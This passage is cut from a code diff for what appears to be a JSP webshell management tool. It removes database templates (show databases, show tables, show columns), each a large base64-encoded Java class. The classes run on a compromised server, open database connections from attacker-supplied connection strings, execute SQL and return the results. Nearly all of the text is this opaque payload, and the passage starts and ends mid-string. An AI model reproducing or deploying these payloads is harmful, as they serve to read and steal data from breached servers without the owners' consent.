AAEAAYAAAByKxI0tgBKTRIMTgM2BBUELL6iAF+7AEtZLBUEMrcATDoFGQW2AE2ZACkZBbYATpoAIbsAFVm3ABYttgAYLBUEMrYAGBJPtgAYtgAZTqcAHrsAFVm3ABYttgAYLBUEMrYAGBJQtgAYtgAZToQEAaf/oC2wAAAAAQBbAAAAGAAE/gANBwBrBwBiAfwAQQcAbPoAGvoABQAA',
+    [arg1]: '#{newbase64::binarr}'
   }
 })

source/core/jsp/template/database/default.js

-//
-// 默认代码模板
-//
-// @params
-// :encode  SHELL编码
-// :conn    数据库连接字符串
-// :sql     执行SQL语句
-// :db      数据库名
-// :table   表名
-
-module.exports = () => ({
-  show_databases: {
-    _: 'yv66vgAAADIA/AoATABwBwBxCgACAHIKAAIAcwgATQsAdAB1CAB2CQBLAHcIAHgIAHkJAEsAegcAewoADAB8CAB9CwB+AH8LAHQAgAsAfgCABwCBCgASAHAIAIIKABIAgwoAEgCECgBLAIUKAEsAhggAhwgAiAoADACJCgBLAIoKAAwAhAgAiwoAAgCMCgCNAI4HAI8IAJAKACEAhAgAkQoAJgCSBwCTCgAmAJQKACYAlQgAlggAlwoAJgCYBwCZCgAmAJoKACwAmwoAJgCcCgAmAJ0KABIAnggAnwoALACgCgAsAKEIAKIHAKMKADYAcAoANgCkCgAmAKUIAKYIAKcKACYAqAoAJgCpCgCqAKsIAKwKAK0ArgsArwCwCwCxALILALMAtAsAtQC2CwC1ALcLALMAuAsAswC5CAC6CAC7CgBLALwHAGwHAL0BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbAcAvQcAcQcAvgcAvwcAbAcAkwcAewcAjwEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCZAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwAcAwQcAwgcAwwcAxAEADXNob3dEYXRhYmFzZXMBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABJzaG93RGF0YWJhc2VzLmphdmEMAFAAUQEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADFAMYMAMcAyAcAvgwAyQBhAQAADABNAE4BAAdjaGFyc2V0AQAFVVRGLTgMAE8ATgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFAAygEACXRleHQvaHRtbAcAvwwAywDKDADMAMoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM0AzgwAzwDQDABjAGEMAGAAYQEABHZhcjEBAAMtPnwMAM0A0QwAbABtAQADfDwtDADSANMHANQMANUAygEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFQAVQEAEGphdmEvbGFuZy9TdHJpbmcMANYA1wwAUADYAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANkA0AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADaANsMAFAA3AwA3QDeDADfAOAMAM0A4QEAASwMAOIA3AwAzwBhAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4wDkDADlANABAAINCgEAAQoMAOYA5wwA6ADpBwDqDADrAOwBABMmY2hhcmFjdGVyRW5jb2Rpbmc9BwDtDADuAO8HAMEMAPAA8QcAwgwA8gDzBwDDDAD0APUHAMQMAPYA2wwA9wD4DAD5APoMAPsA+AEADnNob3cgZGF0YWJhc2VzAQABCQwAZQBmAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAh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',
-    'var0': '#{encode}',
-    'var1': '#{conn}'
-  },
-  show_tables: {
-    _: 'yv66vgAAADIA/goATQBxBwByCgACAHMKAAIAdAgATgsAdQB2CAB3CQBMAHgIAHkIAHoJAEwAewcAfAoADAB9CAB+CwB/AIALAHUAgQsAfwCBBwCCCgASAHEIAIMKABIAhAoAEgCFCgBMAIYKAEwAhwgAiAgAiQgAigoADACLCgBMAIwKAAwAhQgAjQoAAgCOCgCPAJAHAJEIAJIKACIAhQgAkwoAJwCUBwCVCgAnAJYKACcAlwgAmAgAmQoAJwCaBwCbCgAnAJwKAC0AnQoAJwCeCgAnAJ8KABIAoAgAoQoALQCiCgAtAKMIAKQHAKUKADcAcQoANwCmCgAnAKcIAKgIAKkKACcAqgoAJwCrCgCsAK0IAK4KAK8AsAsAsQCyCwCzALQLALUAtgsAtwC4CwC3ALkLALUAugsAtQC7CAC8CAC9CgBMAL4HAG0HAL8BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbQcAvwcAcgcAwAcAwQcAbQcAlQcAfAcAkQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCbAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwgcAwwcAxAcAxQcAxgEACnNob3dUYWJsZXMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA9zaG93VGFibGVzLmphdmEMAFEAUgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADHAMgMAMkAygcAwAwAywBiAQAADABOAE8BAAdjaGFyc2V0AQAFVVRGLTgMAFAATwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFEAzAEACXRleHQvaHRtbAcAwQwAzQDMDADOAMwBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM8A0AwA0QDSDABkAGIMAGEAYgEABHZhcjEBAAR2YXIyAQADLT58DADPANMMAG0AbgEAA3w8LQwA1ADVBwDWDADXAMwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABVAFYBABBqYXZhL2xhbmcvU3RyaW5nDADYANkMAFEA2gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADbANIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA3ADdDABRAN4MAN8A4AwA4QDiDADPAOMBAAEsDADkAN4MANEAYgEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOUA5gwA5wDSAQACDQoBAAEKDADoAOkMAOoA6wcA7AwA7QDuAQATJmNoYXJhY3RlckVuY29kaW5nPQcA7wwA8ADxBwDDDADyAPMHAMQMAPQA9QcAxQwA9gD3BwDGDAD4AN0MAPkA+gwA+wD8DAD9APoBABFzaG93IHRhYmxlcyBmcm9tIAEAAQkMAGYAZwEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhOwEADmdldENvbHVtbkNvdW50AQANZ2V0Q29sdW1uTmFtZQEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEA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',
-    'var0': '#{encode}',
-    'var1': '#{conn}',
-    'var2': '#{db}'
-  },
-  show_columns: {
-    _: 'yv66vgAAADIBBAoAUAB0BwB1CgACAHYKAAIAdwgAUQsAeAB5CAB6CQBPAHsIAHwIAH0JAE8AfgcAfwoADACACACBCwCCAIMLAHgAhAsAggCEBwCFCgASAHQIAIYKABIAhwoAEgCICgBPAIkKAE8AiggAiwgAjAgAjQgAjgoADACPCgBPAJAKAAwAiAgAkQoAAgCSCgCTAJQHAJUIAJYKACMAiAgAlwoAKACYBwCZCgAoAJoKACgAmwgAnAgAnQoAKACeBwCfCgAoAKAKAC4AoQoAKACiCgAoAKMKABIApAgApQoALgCmCgAuAKcIAKgHAKkKADgAdAoAOACqCgAoAKsIAKwIAK0KACgArgoAKACvCgCwALEIALIKALMAtAsAtQC2CwC3ALgLALkAugsAuwC8CwC7AL0LALkAvgsAuQC/CADACADBCADCCADDCgBPAMQHAHAHAMUBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAcAcAxQcAdQcAxgcAxwcAcAcAmQcAfwcAlQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCfAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAyAcAyQcAygcAywcAzAEAC3Nob3dDb2x1bW5zAQBcKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAQc2hvd0NvbHVtbnMuamF2YQwAVABVAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAM0AzgwAzwDQBwDGDADRAGUBAAAMAFEAUgEAB2NoYXJzZXQBAAVVVEYtOAwAUwBSAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAVADSAQAJdGV4dC9odG1sBwDHDADTANIMANQA0gEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwA1QDWDADXANgMAGcAZQwAZABlAQAEdmFyMQEABHZhcjIBAAR2YXIzAQADLT58DADVANkMAHAAcQEAA3w8LQwA2gDbBwDcDADdANIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABYAFkBABBqYXZhL2xhbmcvU3RyaW5nDADeAN8MAFQA4AEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADhANgBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA4gDjDABUAOQMAOUA5gwA5wDoDADVAOkBAAEsDADqAOQMANcAZQEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOsA7AwA7QDYAQACDQoBAAEKDADuAO8MAPAA8QcA8gwA8wD0AQATJmNoYXJhY3RlckVuY29kaW5nPQcA9QwA9gD3BwDJDAD4APkHAMoMAPoA+wcAywwA/AD9BwDMDAD+AOMMAP8BAAwBAQECDAEDAQABAAEJAQAOc2VsZWN0ICogZnJvbSABAAEuAQAKIGxpbWl0IDAsMAwAaQBqAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEbmV4dAEAAygpWgEACWdldFN0cmlu